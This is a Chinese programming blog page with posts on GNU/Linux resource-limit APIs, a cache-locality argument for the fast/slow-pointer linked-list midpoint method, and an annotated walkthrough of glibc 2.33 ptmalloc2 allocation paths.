发表Dev8 分钟读完 (大约1173个字)

GNU/Linux 环境检测系统限制

GNU/Linux 环境检测系统限制

为了充分保证程序的可移植性，开发人员通常该在 「POSIX」、「X/Open Curses Issue 4」等主流标准的范围内小心的使用 GNU/Linux 系统资源．
话虽如此，但标准一旦制定就已经代表着过去，随着计算机硬件的飞速发展，过去的标准 可能 难以反映今日计算机所拥有的资源．
如果愿意放弃些许可移植性，那么开发人员 或许能 够更大程度的利用 GNU/Linux 所能提供和管理的资源．那么，作为开发人员，该如何查询系统资源的限制呢？

ulimit

通过 which ulimit 便可知晓 ulimit 是 shell 的内建命令．通过 ulimit 命令能设置 shell 的资源限制，该限制在调用 fork() 是，将被其子进程继承．

标准限制

POSIX

The Portable Operating System Interface (POSIX) is a family of standards specified by the IEEE Computer Society for maintaining compatibility between operating systems. POSIX defines the application programming interface (API), along with command line shells and utility interfaces, for software compatibility with variants of Unix and other operating systems.[6]

POSIX.1 定义了很多涉及操作系统实现限制的常量，遗憾的是，这是 POSIX.1 中最令人迷惑不解的部分之一．虽然POSIX.1定义了大量限制和常量，我们只关心与基本 POSIX.1接口有关的部分．
在这些限制和常量中，某些可能定义在中，其余的则按具体条件可定义、可不定义．[1]

在 POSIX.1 中，定义了 _POSIX_OPEN_MAX 的值为 20 ．可想而志，这难以满足当今应用程序开发的需求．
而 CHILD_MAX 在 POSIX.1 的标准中，是一个与设备资源有关「运行时不变值」，POSIX.1 仅保证了其最小值为 _POSIX_CHILD_MAX ．

XSI

The Single UNIX Specification (SUS) is the collective name of a family of standards for computer operating systems, compliance with which is required to qualify for using the “UNIX” trademark. The core specifications of the SUS are developed and maintained by the Austin Group, which is a joint working group of IEEE, ISO JTC 1 SC22 and The Open Group. If an operating system is submitted to The Open Group for certification, and passes conformance tests, then it is deemed to be compliant with a UNIX standard such as UNIX 98 or UNIX 03.[7]

XSI定义了代表实现限制的几个常量．[1]

操作系统的资源限制

上文只是从各项标准层面十分简单的叙述各项标准中的要求，但操作系统实际上能提供的资源 可能 远比标准中要求的多．因此，在运行时进行对系统能提供的资源的限制的查询是有必要的．

获取操作系统资源限制

1
2
3
4
#include <unistd.h>
long sysconf(int name);
long pathconf(const char *pathname, int name);
log fpathconf(int fd, int name);

这几个函数的接口都十分简单，更多信息请查看 Linux Programmer's Manual．

更改系统资源限制

每个进程都有一组资源限制，其中一些可以用getrlimit和setrlimit函数查询和更改．

1
2
3
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlptr);
int setrlimit(int resource, const struct rlimit *rlptr);

两个函数返回值：若成功，返回0；若出错，返回非0
这两个函数在Single UNIX Specification的XSI扩展中定义．进程的资源限制通常是在系统初始化时由0进程建立的，然后由后续进程继承．每种实现都可以用自己的方法对资源限制做出调整．
对这两个函数的每一次调用都指定一个资源以及一个指向下列结构的指针．
1
2
3
4
struct rlimit {
rlim_t rlim_cur; /* soft limit: current limit */
rlim_t rlim_max; /* hard limit: maximum value for rlim_cur */
};

在更改资源限制时，须遵循下列3条规则．

  1. 任何一个进程都可将一个软限制值更改为小于或等于其硬限制值．
  2. 任何一个进程都可降低其硬限制值，但它必须大于或等于其软限制值．这种降低，对普通用户而言是不可逆的．
  3. 只有超级用户进程可以提高硬限制值．[1]

参考资料

1. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社 ↩
2. ulimit(1p)[G/OL].POSIX Programmer’s Manual,https://man.archlinux.org/man/ulimit.1p. ↩
3. ulimit(3)[G/OL].Linux Programmer’s Manual,https://man.archlinux.org/man/ulimit.3. ↩
4. ulimit(3p)[G/OL].Linux Programmer’s Manual,https://man.archlinux.org/man/ulimit.3p. ↩
5. Unix标准和实现[G/OL]https://klose911.github.io/html/apue/standard.html. ↩
6. Wikipedia contributors. POSIX[G/OL]. Wikipedia, https://en.wikipedia.org/wiki/POSIX. ↩
7. Wikipedia contributors. Single UNIX Specification[G/OL]. Wikipedia, https://en.wikipedia.org/wiki/Single_UNIX_Specification. ↩
发表Dev17 分钟读完 (大约2489个字)

尝试定性分析「快慢指针」寻找链表中点

尝试定性分析「快慢指针」寻找链表中点

warning
WARNING
本文不是成熟可靠、达成普遍共识的结论，也不是有可靠数据支撑的学术研究成果．
本文只是笔者根据从书中学到的知识分析和猜测遇到的现实问题，并尝试着给予答案的过程，并不能作为真正可靠的结论使用．
笔者在目前尚未具有验证自己得到的分析结果的能力．

相信看本文的读者已经熟悉这道经典的算法题目了．说实话，自从笔者接触这道题目的「快慢指针」题解之后产生的想法是疑惑：「为什么『快慢指针』的方式来取链表的中点比单指针遍历两遍能更快？」
众所周知，这两种不同的算法拥有相同的时间复杂度 O(N)，此时无法仅根据时间复杂度对这两种算法在相同规模的数据下的运行速度作出判断．

测试结果

当然，两种算法究竟哪种更优应该让数据来证明，而不仅仅是纸面上的分析．但十分遗憾，笔者无法提供一个较为可靠的数据．笔者的机器上运行着众多的应用，机器的性能受各种因素影响较多，性能波动较大，无法提供一个数据．在 leetcode 上以两种方式的提交结果中也未见差异．而没有可靠的数据证实的分析也是本文标题中含有「尝试」的原因．

对比算法的 C 语言描述

首先，作为链表节点的结构体为：

1
2
3
4
5
struct ListNode
{
    int val;
    struct ListNode *next;
};

「快慢指针方式」的C语言描述为：
1
2
3
4
5
6
7
8
9
10
11
12
struct ListNode *middleNode(struct ListNode *head)
{
    struct ListNode *slow, *fast, *tmp;
    slow = head;
    fast = head;
    while (fast != NULL && (tmp = fast->next) != NULL)
    {
        fast = tmp->next;
        slow = slow->next;
    }
    return slow;
}

「单指针方式」的C语言描述为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct ListNode *middleNode(struct ListNode *head)
{
    struct ListNode *cur = head;
    int n = 0;
    while (cur != NULL)
    {
        ++n;
        cur = cur->next;
    }
    int k = 0;
    cur = head;
    while (k < n / 2)
    {
        ++k;
        cur = cur->next;
    }
    return cur;
}

假设有一条长度为9个节点的链表，使用「快慢指针方式」，快指针完整的遍历链表 9 个节点，慢指针遍历前 5 个节点；使用「单指针方式」首先遍历链表一次共 9 个节点，后再次遍历至中点共 5 个节点．
两种方式都涉及对链表的 14 个节点的内存位置进行访问．其他的差异则可以忽略不计．

那么，只好首先从汇编语言的层面对两种算法进行分析．

对比算法的机器代码描述

用 GCC 分别编译两个文件后便可得到下文中的汇编代码（GCC 的参数中添加 -S 对文件只执行「编译」，-Og 禁用编译器优化，防止代码变形）．
info
INFO
下文的汇编代码较 GCC 产生的代码，省略了无关的内容．
注意：下文为 AT&T 格式的汇编语言代码．

「快慢指针方式」的汇编代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	movq	%rdi, %rax
	jmp	.L2
.L4:
	movq	8(%rax), %rax //fast = tmp->next
	movq	8(%rdi), %rdi //slow = slow->next
.L2:
	testq	%rax, %rax //判断 fast == 0 ？ 也就是判断 fast == NULL ？
	je	.L3 // 如果 fast == NULL 就跳转至 .L3
	movq	8(%rax), %rax //把 tmp = fast->next
	testq	%rax, %rax //判断 tmp == NULL ?
	jne	.L4 //如果 tmp != NULL 就跳转至 .L4
.L3:
	movq	%rdi, %rax //把返回值复制至 %rax
	ret// 函数返回

「单指针方式」的汇编代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	movq	%rdi, %rax // cur = head
	movl	$0, %edx //n = 0
	jmp	.L2
.L3:
	addl	$1, %edx // ++n
	movq	8(%rax), %rax // cur = cur->next
.L2:
	testq	%rax, %rax // cur == NULL ?
	jne	.L3//如果  cur  != NULL 就跳转至 .L3
	movl	$0, %ecx // k = 0
	jmp	.L4
.L5:
	addl	$1, %ecx // ++k
	movq	8(%rdi), %rdi // cur = cur->next
.L4:
	movl	%edx, %eax //int tmp = n
	shrl	$31, %eax //tmp = tmp < 0 ? 1 : 0
	addl	%edx, %eax // tmp +=n
	sarl	%eax // tmp >>= 1
	cmpl	%ecx, %eax// tmp - k
	jg	.L5
	movq	%rdi, %rax //把返回值复制至 %rax
	ret // 函数返回

「单指针方式」的汇编代码中，第 16 行至第 19 行的代码可能在理解上有些难度，这些指令是为了计算 n / 2 的结果，因为除数是 2 的幂，那么除法总是可以用偏置和右移运算来代替．

可能有人会关注到在循环中，反复的进行了对 n /2 求值，甚至求值中的偏置是不必要的（因为 k 不可能为负值）．但这些问题在更高阶的编译优化中消失，并不能真正的影响 release 版本时的性能，那么这两种算法存在性能差异吗？笔者认为仍旧存在性能差异．

存储器的层次结构

在真正的说明笔者自己认为的两种算法的性能差异之前，还需要在回顾一下「存储器的层次结构」．
首先，程序运行中的数据和代码被加载至「DRAM」之中．
为解决 「CPU」 频率与 「DRAM」频率的巨大差异并权衡制造的成本，计算机学家们引入 「SRAM」 分 「L3 cache」、「L2 cache」、「L1 cache」三层，逐层的进行缓存，加速「CPU」访问「DRAM」中的内容的时间．
当 CPU 试图访问的数据不在缓存中时，即发生了 缓存不命中时，将触发「不命中惩罚」，造成程序效率的降低．「缓存不命中」是不可避免的，但可以通过一定的优化方式来减少「缓存不命中」．
当然，关于「存储器的层次结构」这庞大的知识非笔者只言片语能说明，在本文不再方便展开．

一个编写良好的计算机程序常常具有良好的局部性．也就是，它们倾向于引用邻近于其他最近引用过的数据项的数据项，或者最近引用过的数据项本身．这种倾向性被称为「局部性原理」．[1]
具有良好的局部性的程序能有效的减少「缓存不命中」，也就是更好的利用「存储器的层次结构」，使「CPU」更快速的访问所需的数据．

局部性通常有两种不同的形式：「时间局部性」和「空间局部性」．在一个具有良好时间局部性的程序中，被引用过一次的内存位置很可能在不远的将来再被多次引用．在一个具有良好空间局部性的程序中，如果一个内存位置被引用了一次，那么程序很可能在不远的将来引用附近的一个内存位置．[1]

  • 从空间局部性来考虑：
    链表中的节点存储的位置并无规律，每个节点是分散的，都具有较差的空间局部性．可大致认为两种算法的空间局部性相同．
  • 从时间据局部性来考虑：
    • 「快慢指针方式」中：在一次循环中，链表的前半部分中，快指针访问完成之后循环结束之前慢指针已经访问了相同的节点．同一个节点被两次访问的时间间隔较近．
    • 「单指针方式」中：在一次循环中，链表的前半部分中，同一个节点的第二次访问在第一次遍历完成之后，同一个节点被两次访问的时间间隔较远．

可见，「快慢指针方式」具有更好的时间局部性，单指针第二次遍历链表时，可供其利用的「前半段链表中的节点」的缓存有更大的概率被链表的「后半段链表中的节点」的缓存所替换，由此将更频繁的触发「不命中处罚」．
更严重的是，若链表的节点增大，则在相同的缓存中能缓存的节点更少，缓存的替换将更频繁，「单指针方式」的性能想较「快慢指针方式」遍历可能下降更多．
同样的，若链表的长度增加，也会导致前半段的链表的节点的缓存被更多的替换．

循环展开

此时更换一个角度，再次回看「单指针方式」的 C语言代码，忽略次要部分后，可以视为使用一个循环 1.5 倍链表节点个数次，而「快慢指针方式」循环 1 倍节点个数次．
而「快慢指针」方式可视为由「单指针方式」进行「循环展开」得到的代码．

循环展开是一种程序变换，通过增加每次迭代计算的元素的数量，减少循环的迭代次数．[1]

循环展开能够从两个方面改进程序的性能．首先，它减少了不直接有助于程序结果的操作数量，例如循环索引计算和条件分支．第二它提供了一些方法，可以进一步变化代码，减少整个计算中关键路径上的操作数量．[1]

参考资料

1. Randal E.Bryant.深入理解计算机系统[M].第三版.龚奕利,译.北京:机械工业出版社 ↩
发表CyberspaceSecurity / Dev1 小时读完 (大约10249个字)

ptmalloc2 源码解析

warning
WARNING

本文所有解读仅代表 Y7n05h 的个人见解，不代表 Glibc 的贡献者观点．
受限于 Y7n05h 的能力于水平，Y7n05h 无法保证本文的正确性．

info
INFO

本文文中所有代码均使用 LGLP 2.1 or later 授权．
本文所述内容均基于 Glibc 2.33．Y7n05h 对 malloc.c 按照自己的代码风格偏好进行了重新格式化并添加了注释，修改后的 malloc.c 见本文附录．

malloc

tip
TIP

在初次阅读 ptmalloc2 源码的过程中，笔者建议暂且忽略「多线程环境下的特殊行为」、「调试信息」、「TCACHE」等相关内容．笔者将在了解 malloc 的大致流程后，再次阅读与「多线程环境」、「TCACHE」相关的代码．
有关「调试信息」的内容笔者不做解读．
有关「多线程环境」、「TCACHE」相关的内容将在本文结尾处补充．

略去关于「编译」和「链接」的细节，在此可以认为 malloc() 就是调用了 void *__libc_malloc(size_t bytes) ．

在 __libc_malloc() 源码中：

1
2
3
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);//使用原子操作读取 __malloc_hook 将其赋值给 hook
if (__builtin_expect(hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS(0));

__malloc_hook 是全局变量，定义是：

1
void *weak_variable (*__malloc_hook)(size_t __size, const void *) = malloc_hook_ini;
1
2
3
4
5
6
7
static void *
malloc_hook_ini (size_t sz, const void *caller)
{
  __malloc_hook = NULL;
  ptmalloc_init ();
  return __libc_malloc (sz);
}

在程序运行时，__malloc_hook 被初始化为 malloc_hook_ini．在程序中调用 __malloc_hook 时，通过原子操作读取至局部变量 hook．

info
INFO

weak_variable 的定义是：

1
2
#define weak_variable weak_function
# define weak_function __attribute__ ((weak))

__attribute__ ((weak)) 是 GCC 提供的语法扩展，可以将一个「符号」定义为「弱符号」．

这是关于「链接」的内容，有兴趣的读者请自行查阅相关资料．
如读者尚未理解 weak_variable 的含义，只需无视 weak_variable 即可，不影响后文的阅读．

info
INFO

1
2
# define __glibc_unlikely(cond)	__builtin_expect ((cond), 0)
# define __glibc_likely(cond)	__builtin_expect ((cond), 1)

__builtin_expect ((cond), 0) 与 __builtin_expect ((cond), 1) 都是针对「分支预测」的做出的优化．

  • __builtin_expect ((cond), 0) 表示大多数情况下 cond == False．通常使用 __glibc_unlikely(cond) 简化．
  • __builtin_expect ((cond), 1) 表示大多数情况下 cond == True．通常使用 __glibc_likely(cond) 简化．
    注意：__builtin_expect ((cond), 0) == cond 且 __builtin_expect ((cond), 1) == cond．__builtin_expect 不改变 cond 的值！
1
2
3
4
5
6
if (SINGLE_THREAD_P)// 是单线程
{
    victim = TAG_NEW_USABLE(_int_malloc(&main_arena, bytes));
    assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || &main_arena == arena_for_chunk(mem2chunk(victim)));
    return victim;
}

这段代码看似复杂，实际上很简单，核心的代码只有：

1
2
3
4
if (SINGLE_THREAD_P)// 是单线程
{
    return _int_malloc(&main_arena, bytes);
}

进入 _int_malloc()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 /*
  Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or
  to obtain a size of at least MINSIZE, the smallest allocatable size.
  Also, checked_request2size returns false for request sizes that are so large that they wrap around zero when padded and aligned.
*/

 if (!checked_request2size(bytes, &nb))// 根据 bytes 、元数据大小、对齐要求计算 nb
 {
     __set_errno(ENOMEM);
     return NULL;
 }

 /* There are no usable arenas.  Fall back to sysmalloc to get a chunk from mmap.  */
 if (__glibc_unlikely(av == NULL)) {
     void *p = sysmalloc(nb, av);// av 不存在，向 system 申请更多的 memory
     if (p != NULL)
         alloc_perturb(p, bytes);
     return p;
 }

fastbin 检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#define REMOVE_FB(fb, victim, pp)                                          \
    do {                                                                   \
        victim = pp;                                                       \
        if (victim == NULL)                                                \
            break;                                                         \
        pp = REVEAL_PTR(victim->fd);                                       \
        if (__glibc_unlikely(pp != NULL && misaligned_chunk(pp)))          \
            malloc_printerr("malloc(): unaligned fastbin chunk detected"); \
    } while ((pp = catomic_compare_and_exchange_val_acq(fb, pp, victim)) != victim);

    if ((unsigned long) (nb) <= (unsigned long) (get_max_fast()))// get_max_fast() 默认值为 DEFAULT_MXFAST
    {
        // 因为 nb 是对齐的，当 nb <= get_max_fast() 时，必为 fastbin 的合法大小．不存在 nb 不超过 get_max_fast() 却无 fastbin_index 与之对应的情况．
        idx = fastbin_index(nb);
        mfastbinptr *fb = &fastbin(av, idx);
        mchunkptr pp;
        victim = *fb;

        if (victim != NULL) {//对应的 fastbin 不为空
            if (__glibc_unlikely(misaligned_chunk(victim)))
                malloc_printerr("malloc(): unaligned fastbin chunk detected 2");

            if (SINGLE_THREAD_P)             //单线程
                *fb = REVEAL_PTR(victim->fd);// 删除第一个节点．REVEAL_PTR 是为了提高安全性，抵抗恶意攻击．
            else                             // 多线程
                REMOVE_FB(fb, pp, victim);
            if (__glibc_likely(victim != NULL)) {
                size_t victim_idx = fastbin_index(chunksize(victim));// 本行的计算是为了下一行的 assert
                if (__builtin_expect(victim_idx != idx, 0))
                    malloc_printerr("malloc(): memory corruption (fast)");
                check_remalloced_chunk(av, victim, nb);// malloc_debug 的 assert
#if USE_TCACHE
                /* While we're here, if we see other chunks of the same size, stash them in the tcache.  */
                size_t tc_idx = csize2tidx(nb);
                if (tcache && tc_idx < mp_.tcache_bins) {
                    mchunkptr tc_victim;

                    /* While bin not empty and tcache not full, copy chunks.  */
                    while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) {
                        if (__glibc_unlikely(misaligned_chunk(tc_victim)))
                            malloc_printerr("malloc(): unaligned fastbin chunk detected 3");
                        if (SINGLE_THREAD_P)
                            *fb = REVEAL_PTR(tc_victim->fd);
                        else {
                            REMOVE_FB(fb, pp, tc_victim);
                            if (__glibc_unlikely(tc_victim == NULL))
                                break;
                        }
                        tcache_put(tc_victim, tc_idx);
                    }
                }
#endif
                void *p = chunk2mem(victim);
                alloc_perturb(p, bytes);
                return p;
            }
        }//对应的 fastbin 为空
    }

此时笔者只关注：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* 删去了暂不关注的内容 */
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast()))// get_max_fast() 默认值为 DEFAULT_MXFAST
{
    // 因为 nb 是对齐的，当 nb <= get_max_fast() 时，必为 fastbin 的合法大小．不存在 nb 不超过 get_max_fast() 却无 fastbin_index 与之对应的情况．
    idx = fastbin_index(nb);
    mfastbinptr *fb = &fastbin(av, idx);
    mchunkptr pp;
    victim = *fb;

    if (victim != NULL) {//对应的 fastbin 不为空
        if (__glibc_unlikely(misaligned_chunk(victim)))
            malloc_printerr("malloc(): unaligned fastbin chunk detected 2");

        if (SINGLE_THREAD_P)             //单线程
            *fb = REVEAL_PTR(victim->fd);// 删除第一个节点．REVEAL_PTR 是为了提高安全性，抵抗恶意攻击．

        if (__glibc_likely(victim != NULL)) {
            size_t victim_idx = fastbin_index(chunksize(victim));// 本行的计算是为了下一行的 assert
            if (__builtin_expect(victim_idx != idx, 0))
                malloc_printerr("malloc(): memory corruption (fast)");
            check_remalloced_chunk(av, victim, nb);// malloc_debug 的 assert

            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
        }
    }//对应的 fastbin 为空
}

若 nb 在 fastbin 范围内，则计算 nb 对应的 fastbin 下标 idx．根据 idx 从 av 中取出对应的链表（其头指针的指针为 fb，其首节点为 victim）．

  • 若 victim == NULL，则链表为空，完成对 fastbin 的检查．
  • 若 victim != NULL，则从 fb 中移除 victim，返回对应的指针．_int_malloc() 返回．

smallbin 检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
    /*
     If a small request, check regular bin.
     Since these "smallbins" hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are processed to find best fit.
     But for small ones, fits are exact anyway, so we can check now, which is faster.)
   */

    if (in_smallbin_range(nb)) {// 准确的表述为：不满足 LargeBin 分配的最小值

        //值得注意的是：在fastbin 环节分配失败会进入此处．
        idx = smallbin_index(nb);
        bin = bin_at(av, idx);

        //别忘了 FastBin 与 SmallBin 有重叠，在 FastBin 分配不成功的执行流有可能在 SmallBin 中完成分配
        if ((victim = last(bin)) != bin)// smallbin 是双向链表，last(bin)!=bin 则 bin 不为空．
        {
            bck = victim->bk;
            if (__glibc_unlikely(bck->fd != victim))
                malloc_printerr("malloc(): smallbin double linked list corrupted");
            set_inuse_bit_at_offset(victim, nb);
            bin->bk = bck;
            bck->fd = bin;

            if (av != &main_arena)
                set_non_main_arena(victim);
            check_malloced_chunk(av, victim, nb);
#if USE_TCACHE
            /* While we're here, if we see other chunks of the same size, stash them in the tcache.  */
            size_t tc_idx = csize2tidx(nb);
            if (tcache && tc_idx < mp_.tcache_bins) {
                mchunkptr tc_victim;

                /* While bin not empty and tcache not full, copy chunks over.  */
                while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
                    if (tc_victim != 0) {
                        bck = tc_victim->bk;
                        set_inuse_bit_at_offset(tc_victim, nb);
                        if (av != &main_arena)
                            set_non_main_arena(tc_victim);
                        bin->bk = bck;
                        bck->fd = bin;

                        tcache_put(tc_victim, tc_idx);
                    }
                }
            }
#endif
            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
        }
    }

若 nb 在 SmallBin范围内（也就是不足 LargeBin 的最小值），则尝试使用 SmallBin：

  1. 根据 nb 计算对应的 下标 idx，根据 idx 定位到链表的头节点 bin
    • 若 (victim = last(bin)) == bin，则链表为空，则 SmallBin 无法满足 nb 的需求，结束 SmallBin 检查．
    • 若 (victim = last(bin)) != bin，则链表不空，那么从链表中删去尾节点．将尾节点对应的指针返回．

tip
TIP

对比 FastBin 与 SmallBin

  • FastBin 使用单链表管理空闲的 chunk．
  • SmallBin 使用双向循环链表管理空闲的 chunk．

FastBin 使用指向「第一个节点的指针」的指针管理单链表．

1
mfastbinptr *fb = &fastbin(av, idx);

  • 当 *fb == NULL 时，链表为空．
  • 当 *fb != NULL 时，链表不空．*fb 指向第一个空闲的 chunk．

SmallBin 使用指向「头节点」的指针管理双向循环链表．

1
bin = bin_at(av, idx);// bin 是头节点的指针

bin 指向链表中第头节点，头节点不是有效的空闲 chunk，头节点只是为了更方便管理双向循环链表人为添加的节点．

  • 当 bin->bk == bin 时，链表为空（指除了头节点之外没有其他节点）．
  • 当 bin->bk != bin 时，链表不空．

FastBin 与 SmallBin 中的每个链表中的 chunk 的大小相同．

UnsortBin 检查

执行至此说明在 FastBin 和 SamllBin 中未能完成内存分配．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
        int iters = 0;// 下面的 while 循环的循环变量

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {// 当 UnsortBin 不为空时，进行循环．

            bck = victim->bk;//victim 是 UnsortBin 中的 尾节点，bck 指向倒数第 2 个节点
            size = chunksize(victim);
            mchunkptr next = chunk_at_offset(victim, size);

            /* 安全检查 */
            if (__glibc_unlikely(size <= CHUNK_HDR_SZ) || __glibc_unlikely(size > av->system_mem))
                malloc_printerr("malloc(): invalid size (unsorted)");
            if (__glibc_unlikely(chunksize_nomask(next) < CHUNK_HDR_SZ) || __glibc_unlikely(chunksize_nomask(next) > av->system_mem))
                malloc_printerr("malloc(): invalid next size (unsorted)");
            if (__glibc_unlikely((prev_size(next) & ~(SIZE_BITS)) != size))
                malloc_printerr("malloc(): mismatching next->prev_size (unsorted)");
            if (__glibc_unlikely(bck->fd != victim) || __glibc_unlikely(victim->fd != unsorted_chunks(av)))
                malloc_printerr("malloc(): unsorted double linked list corrupted");
            if (__glibc_unlikely(prev_inuse(next)))
                malloc_printerr("malloc(): invalid next->prev_inuse (unsorted)");


            /* 有删节 */

#define MAX_ITERS 10000
            if (++iters >= MAX_ITERS)// iter 表示迭代数量，防止 UnsortBin 过长造成响应速度严重下降
                break;
        }

安全检查用来及时发现相关数据结构被意外损坏或被恶意篡改．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
 If a small request, try to use last remainder if it is the only chunk in unsorted bin.
 This helps promote locality for runs of consecutive small requests.
 This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk.
*/


if (in_smallbin_range(nb) &&                               // SmallBin 可满足需求
    bck == unsorted_chunks(av) &&                          //倒数第二个节点是头节点，即 UnsortBin 中有且仅有一个节点．请注意上方的英文注释．
    victim == av->last_remainder &&                        // 是上次剩余的块
    (unsigned long) (size) > (unsigned long) (nb + MINSIZE)//若 目标块 大于 所需 且 剩余部分可形成一个新的 chunk
) {
    /* split and reattach remainder */
    remainder_size = size - nb;             // 剩余 chunk 大小
    remainder = chunk_at_offset(victim, nb);//返回 剩余的 chunk 的 ptr
    unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
    av->last_remainder = remainder;
    remainder->bk = remainder->fd = unsorted_chunks(av);
    if (!in_smallbin_range(remainder_size)) {//检测剩余 chunk 是否在 SmallBin 范围中，不在则设置 fd 与 bk
        remainder->fd_nextsize = NULL;
        remainder->bk_nextsize = NULL;
    }

    set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));// ？？？ 为什么在这里需要设置 PREV_INUSE
    set_head(remainder, remainder_size | PREV_INUSE);
    set_foot(remainder, remainder_size);

    check_malloced_chunk(av, victim, nb);//malloc debug 的 assert
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

当 UnsortBin 中仅剩余上次分割的 chunk（且这个 chunk 大于 nb + MINSIZE，即满足 nb 且剩余部分能形成一个新的 chunk）时，使用这个 chunk，并将剩余部分根据大小插入 SmallBin 或 LargeBin．

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely(bck->fd != victim))// bck 是 victim 的前驱，bck 的后继理应等于 victim
    malloc_printerr("malloc(): corrupted unsorted chunks 3");
unsorted_chunks(av)->bk = bck;//从 UnsortBin 中删除 victim
bck->fd = unsorted_chunks(av);

将当前节点 victim 从 UnsortBin 中删除．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            /* Take now instead of binning if exact fit */

            if (size == nb) {
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    set_non_main_arena(victim);
#if USE_TCACHE
                /* Fill cache first, return to user only if cache fills. We may return one of these chunks later.  */
                if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) {
                    tcache_put(victim, tc_idx);
                    return_cached = 1;
                    continue;
                } else {
#endif
                    check_malloced_chunk(av, victim, nb);
                    void *p = chunk2mem(victim);
                    alloc_perturb(p, bytes);
                    return p;
#if USE_TCACHE
                }
#endif
            }

若当前节点 victim 大小与 nb 相同，则返回当前节点对应的 chunk 对应的指针．结束分配流程．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/* size != bin */
/* place chunk in bin */

if (in_smallbin_range(size)) {
    victim_index = smallbin_index(size);
    bck = bin_at(av, victim_index);
    fwd = bck->fd;
} else {
    victim_index = largebin_index(size);
    bck = bin_at(av, victim_index);
    fwd = bck->fd;

    /* maintain large bins in sorted order */
    if (fwd != bck) {//若 LargeBin 不为空
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert(chunk_main_arena(bck->bk));//？？？
        if ((unsigned long) (size) < (unsigned long) chunksize_nomask(bck->bk))
        //bck->bk 是最小的 chunk，所以 large 是非递增序列
        {
            fwd = bck;
            bck = bck->bk;
            //fd_next bk_next 不包含 头节点
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        } else {
            assert(chunk_main_arena(fwd));
            while ((unsigned long) size < chunksize_nomask(fwd)) {
                fwd = fwd->fd_nextsize;
                assert(chunk_main_arena(fwd));
            }

            if ((unsigned long) size == (unsigned long) chunksize_nomask(fwd))
                /* Always insert in the second position.  */
                fwd = fwd->fd;//？？？
            else {
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd))
                    malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk;
            if (bck->fd != fwd)
                malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
        }
    } else
        //若 LargeBin 为空
        victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

fwd 与 bck 的设置可能为本段代码的阅读带来了一些困扰．在本段代码中，因各个分支均需要实现对 victim 插入链表中，为复用更多的代码，在每种情况中可以只合理的设置 fwd 和 bck，在本段末尾处通过设置好的 fwd 和 bck 集中完成插入．（在将 victim 插入 LargeBin 的情况中，每个分支均需额外设置 fd_nextsize 和 bk_nextsize）

LargeBin 检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 /*
  If a large request, scan through the chunks of current bin in sorted order to find smallest that fits.  Use the skip list for this.
*/

 //是 大请求
 if (!in_smallbin_range(nb)) {
     bin = bin_at(av, idx);

     /* skip scan if empty or largest chunk is too small */
     if ((victim = first(bin)) != bin && (unsigned long) chunksize_nomask(victim) >= (unsigned long) (nb)) {
         victim = victim->bk_nextsize;//victim 现在指向最小的 chunk
